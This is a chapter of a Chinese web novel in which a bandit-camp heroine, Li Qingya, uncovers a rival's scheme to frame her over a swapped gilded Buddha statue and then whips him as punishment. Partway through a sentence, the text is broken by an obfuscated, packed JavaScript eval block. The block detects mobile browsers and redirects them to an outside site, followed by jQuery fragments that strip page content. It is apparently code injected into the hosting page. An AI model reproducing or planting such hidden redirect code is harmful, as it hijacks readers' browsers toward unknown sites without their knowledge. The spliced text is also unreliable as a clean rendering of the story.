面对众人的怀疑眼光,厉青崖脸色铁青,抱臂一言不发。
又来?
这臭狗熊到底有完没完,自从成功避开和他成亲后,他就频繁找茬,一次比一次严重。
之前指使李叔害世怜不说,前两天给她下药她还没来得及找他算账。现在还敢变本加厉当众栽赃她,不给她扣黑锅不罢休。
她今天要是不给他个教训,今后也不配当这个寨主!
村民好事,前来围观的人群里三层外三层围起来。刚才还为她叫好的村民们对她指指点点,厉青崖看过去,几个村民连忙避开她视线,不敢和她对视。
这帮墙头草!
心中不由得涌上一抹悲哀之情。
今天若不能证明她的清白,估计再也没人愿意相信她,她会失去一切。
少女手指轻颤,摁住手臂的指尖发白,好似抱住自己就能多一层铠甲能护住自己。咬紧牙关,怒瞪眼前的始作俑者。
厉青崖顺起身边的长刀,直指卢天熊,怒道:“放你爹的狗屁!本姑娘是这样的人吗?你说我私吞战利品就私吞啊?嘴皮上下一碰污蔑人,你有证据吗。”
卢天熊轻微后退两步,又转身向朝围观的村民示意:“你们看看,她不仅私吞财物,还要打人呐。没当上寨主都这么嚣张,若真成了新寨主,以后收缴来的战利品哪里还有大家的份啊!”他面对众人一脸痛心疾首,嘴角却忍不住往上翘。
那虚伪样少女看得怒火直冲脑门,恨不得不管不顾,先冲上去揍他一顿再说。
腿刚迈出半步,三队长吕大壮从人群中挤过来,嚷道:“别吵了!谁发现的问题?过来说话。”
少女看到头发泛黄的跟班,从昏暗的角落处,几步蹦到三队长面前,一手递上清单,一手高举佛像,情绪激昂道:“吕队长请看,这佛像做工粗糙,刮一刮还掉漆,哪里是真的鎏金佛像!少当家说核对无误,小的虽没读过几天书,这劣质品,一拿到手上就觉得不对劲了。”
吕队长接过佛像端详,厉青崖和周围村民看到,那是一尊金黄色的,咧嘴大笑的大肚弥勒佛,巴掌大小。面容略显模糊,做工粗糙,和黄毛跟班说的一样,指甲一刮,会掉下金粉,是一尊仿制的金漆弥勒佛像。
厉青崖听到周围响起抽气声,他们用不可置信的眼光看向她,仿若重新认识她一般。不用问都知道他们在想什么。而少女垂眸,一言不发。
“少当家,你有什么话好说?”吕队长问道。
思考片刻,厉青崖抬眼,满眼坚定地说:“我没做过的事绝不会认!本姑娘核查的时候还好好的,怎么到了他们手里就变成假货了?怎么就不是他们前脚掉包真货,后脚拿假货污蔑我?”
黄毛跟班大叫一声:“冤枉啊!小的哪敢污蔑少当家,这对小的来说也没好处啊。”
“哼,是么?”厉青崖嗤笑,用眼神在卢天熊和黄毛跟班间来回扫视。
周围人群交头接耳,望向她的怀疑眼光略减少。
“你们都说自己没问题,可敢让人搜身?”吕队长严肃道。
“求之不得!”少女率先跟着村妇到隔壁屋子,其余汉子到另一间屋子搜身。
最后两边人马回到仓库门口,竟没能搜出佛像。
“这真是奇怪了,难道佛像会长腿跑?”厉青崖听到旁边的村妇纳罕道。
“吕队长,本姑娘有话要说。”少女抱拳作揖。
“请说。”
“大家回忆一下,当时我和几个兄弟当场核验,每核对无误一个,就把东西交给复核的兄弟,然后再给下一人入库,是也不是?”
“没错。”
“刚才这位小兄弟,眼睛竟如此毒辣,这么多物件,一眼就看出佛像是赝品,看得倒是仔细,还反应如此迅速,喊得那么大声,像是......早就知道它是假货一样。”
“你胡说!”黄毛跟班大喊。
“喊什么喊,又不是谁声音大谁有理。”厉青崖掏掏耳朵,继续说道:“我刚想起来了。他说‘一拿到手就觉得不对劲’,我想问问大家,他一眼就知道是假货,这佛像在他之前有两人经手,一个是负责核对的我,另一个是复核的卢天熊,难道我们都不如他咯?”
众人哗然,面面相觑。
黄毛惶恐睁大眼,卢天熊脸颊抽动。
少女又转向吕队长问道:“你们收缴队的兄弟,谁对那尊佛像有印象?”
几个汉子对视,有一人低头看脚尖,一时间谁也没说话。
“哈哈哈哈,少当家说笑了。真假佛像的不同之处,你不是最清楚?何必为难这些兄弟。”卢天熊讽刺道。
她瞪过去。
正当她思考若没人搭腔,她该怎么办时,一个声音弱弱响起。
“我......我有印象。”
唰的一下,众人视线集中在说话人身上。他是刚才在操练场差点被武老八一拳爆头的那个矮个子!
他磕磕巴巴说道:“我家老母是虔诚佛教徒,以前在家天天拜佛像,所以我看到佛像会多看几眼。昨天和三队这几个弟兄初到山寨,他们换箱子间偶然见过那座金佛。”
“快说说是什么样?”吕队说。
“那是一座金佛,倚坐在五彩莲花上,一边掌心朝前,另一只手搭在腿上,满脸慈悲。”
“和这尊佛像有什么区别?”吕队又问。
矮个子一脸看傻子样:“昨天的坐佛是慈悲的释迦牟尼佛,面前这尊佛可是开口大笑的大肚弥勒佛啊!两个差别太大了,都不是一个佛啊。阿弥陀佛,佛祖勿怪。”
“啊哈哈哈哈哈!”众人哄笑。
厉青崖快笑出眼泪来。
“小兄弟怎么称呼?”擦了眼角,厉青崖向矮个子问道。
“小的王越。”
“正如王越所说,他看到的是身坐莲台的宝相森严坐佛,而入库却变成了面容模糊的大肚弥勒。这粗糙的仿制,一眼就能识破!这么多人在场,我看不出来,卢天熊也看不出来,反而是他......”厉青崖指着黄毛说:“能看出来。我是傻了还是瞎了?”
转而又面向众人说道:“何况他说‘刮一刮还掉漆’,也就是说,他拿在手上还特地用指甲刮了刮金佛,若不是早知是假货,怎有人敢上手刮金佛呢?你分明早知道手上的是假货!”
黄毛跟班满脸惶恐,大颗汗珠从额头滚落下来。
“你可知,在寨里栽赃陷害是何等罪!直接打死也是罪有应得。”少女厉声道。
黄毛跟班下意识看向卢天熊,身子止不住颤抖,无助道:“我只是......不是我......救我......”
众人随着黄毛目光看向卢天熊。
“看我干嘛,跟我无关。要错也都是他的错。”卢天熊急忙撇开关系。
黄毛满脸绝望。
“快说!金佛藏在哪?”吕队长对黄毛喝到。
黄毛只瑟瑟发抖,不说话。
厉青崖手指摩挲下巴,从她们刚到仓库开始回忆。
今天和以前核查的流程差不多,王越说的那尊金佛她有印象。当时她核查无误,就交给了下一组的卢天熊,他复核后转身又给了黄毛,黄毛没有马上发难。也就是说,金佛在交给卢天熊到黄毛发难之间被掉包。
若是卢天熊掉包,真佛像在他手上,他要找地方藏,行为会很明显。若黄毛拿到真佛像,在入库前的那段时间,从袖子里以假换真,再找个不起眼的地方藏起来,可行性更大。
既然搜身时没搜出佛像,真佛像肯定还在现场!
吕队长正招手让人把黄毛带走审问,被厉青崖抬手止住了。
她环视四周,大部分的战利品已清点好抬入仓库内,仓库外空地上还有好几箱阖上的木箱,库房入口处的墙边也堆满箱子,黄毛负责入库,从入口到他最后待的角落,会藏在哪里?
“吕队长,东西搬来这里就没动过,这么多人在场,我不信佛像能长腿跑咯。一定还在这里。”厉青崖边说边在仓库里走来走去。
她往仓库角落走去,这里铺了木板,踩上去嘎吱作响。她余光瞟着黄毛,黄毛瞳孔放大。
就是这里!
厉青崖让吕队长派人来查,从长短不齐的木板下掏出金佛,正是那被掉包的鎏金佛像!佛像宝相庄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226796|181702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
严,端坐在莲花台上,和王越说得一模一样!
“哇!”
厉青崖听到有人惊叹,看来她的嫌疑已洗清。
黄毛面如土色,正要被带走惩罚。
“且慢!事情还没完。”厉青崖大喊一声。
“咦?”众人好奇。
“大家不好奇为什么会用假佛像掉包真佛像吗?说明掉包之人在清点战利品前就知道这里面有一尊真佛像,赶忙找人弄来相似的仿品,只不过他当时没见过真品,不然也不会漏出这么大破绽。”
“也就是说,收缴队有人提前给某人战利品清单,他在清单里选了更容易掉包且短时间内能找到替换的佛像,某人在三队里还有帮凶。所以这是一场有目的的栽赃陷害!”少女铿锵有力的指控,让在场人惊到了。
有人一屁股坐到地上,下颚不住颤动。
“是你?”吕队长厉声道:“说!你把清单给谁看过?说真话,不然我扒了你的皮!”
汉子眼神左右犹疑,一狠心,一手指向卢天熊,忏悔道:“队长,是卢爷要的。我不敢不给他啊,求求你饶了我吧!”
“你胡说!”卢天熊高声否认,他撇清干系,“你以为随便攀咬就能洗脱你的罪名吗?此事与我无关。”
“哈哈哈哈,太好笑啦~”厉青崖朗声笑道:“前面是谁一口咬定是我干的,原来是贼喊捉贼的把戏啊!今儿我可是大开眼界了。”
“你没有证据。”卢天熊面对少女表情狰狞。
厉青崖眼珠一转,突然说起之前李叔害压寨夫君的事,周围人一脸茫然,满脸疑问。
厉青崖说她找人盯着被下放做苦力的李叔,发现卢天熊派人威胁他,那件事是卢天熊在背后指使。
她意味深长看着黄毛说道:“李叔为他做事,断了两根指头和前程,还遭他人身威胁。你替他做事,也被他拿来顶包。替他做事有好下场吗?你还要替他隐瞒吗?若你说出真相,可减免部分惩罚。”
黄毛眼睛一亮,像看到救世主一样看着厉青崖。
他动摇了,少女勾唇微笑。
“你别瞎说!”卢天熊咬着牙朝黄毛威胁道。
黄毛吓得朝少女爬去,承认是受卢天熊指使,他屋里有证据。
“人证、物证都在,大家也全程见证这个过程,你还有什么话可狡辩?”少女嘲笑卢天熊。
卢天熊一脸愤恨看着她,说不出话。
众人哗然。
“真没想到卢爷是这样的人,我以前看错他了。”
“他竟然设计陷害少当家,还使出这么下作手段,我呸!”
“我就说老李看着老实,不会主动去害人,没想到是卢爷指使。”
“要不是少当家英明,差点就被他害了。”
“不愧是少当家,多亏没嫁给他。”
“以后有少当家继任寨主,我就放心了。”
厉青崖听着旁人的话,心下畅快,幸灾乐祸想到:臭狗熊陷害她反被指认,今天当众扒开他的虚伪面孔,当众打脸,真是太爽啦!他有事就找下属甩锅顶包,以后看谁还敢帮他做事。相信接下来一段时间他不敢再招惹她。
由于战利品找回来,但卢天熊陷害她的行为太恶劣,考虑到他在寨中的地位,没有断他手指,但增加鞭笞数,从二十鞭增加到三十鞭。
武老八主动提出做执行人,由他鞭笞卢天熊。
而厉青崖却说要自己上。她知道武老八的好意,他的鞭笞的力道更大。但她觉得还是莫把他牵扯进来,毕竟还是新人,能不主动得罪小人更好。
至于她自己,更是乐于自己报仇,把这些日子受的恶气,狠狠发泄出来。
“啊~~啊!”
“嗷~~啊~疼啊!”
“啊~轻点儿啊~~求你啦!”
“姑奶奶~~别打啦!我错了~”
鞭子抽在卢天熊身上劈啪作响,鞭笞声和惨叫声混在一起,真是悦耳。
看着被鼻涕泪水糊满的猪头脸,厉青崖大乐。
少女从地牢的窗口向外看,外面是蓝天白云,想必接下来村民对她的看法也会有所变化。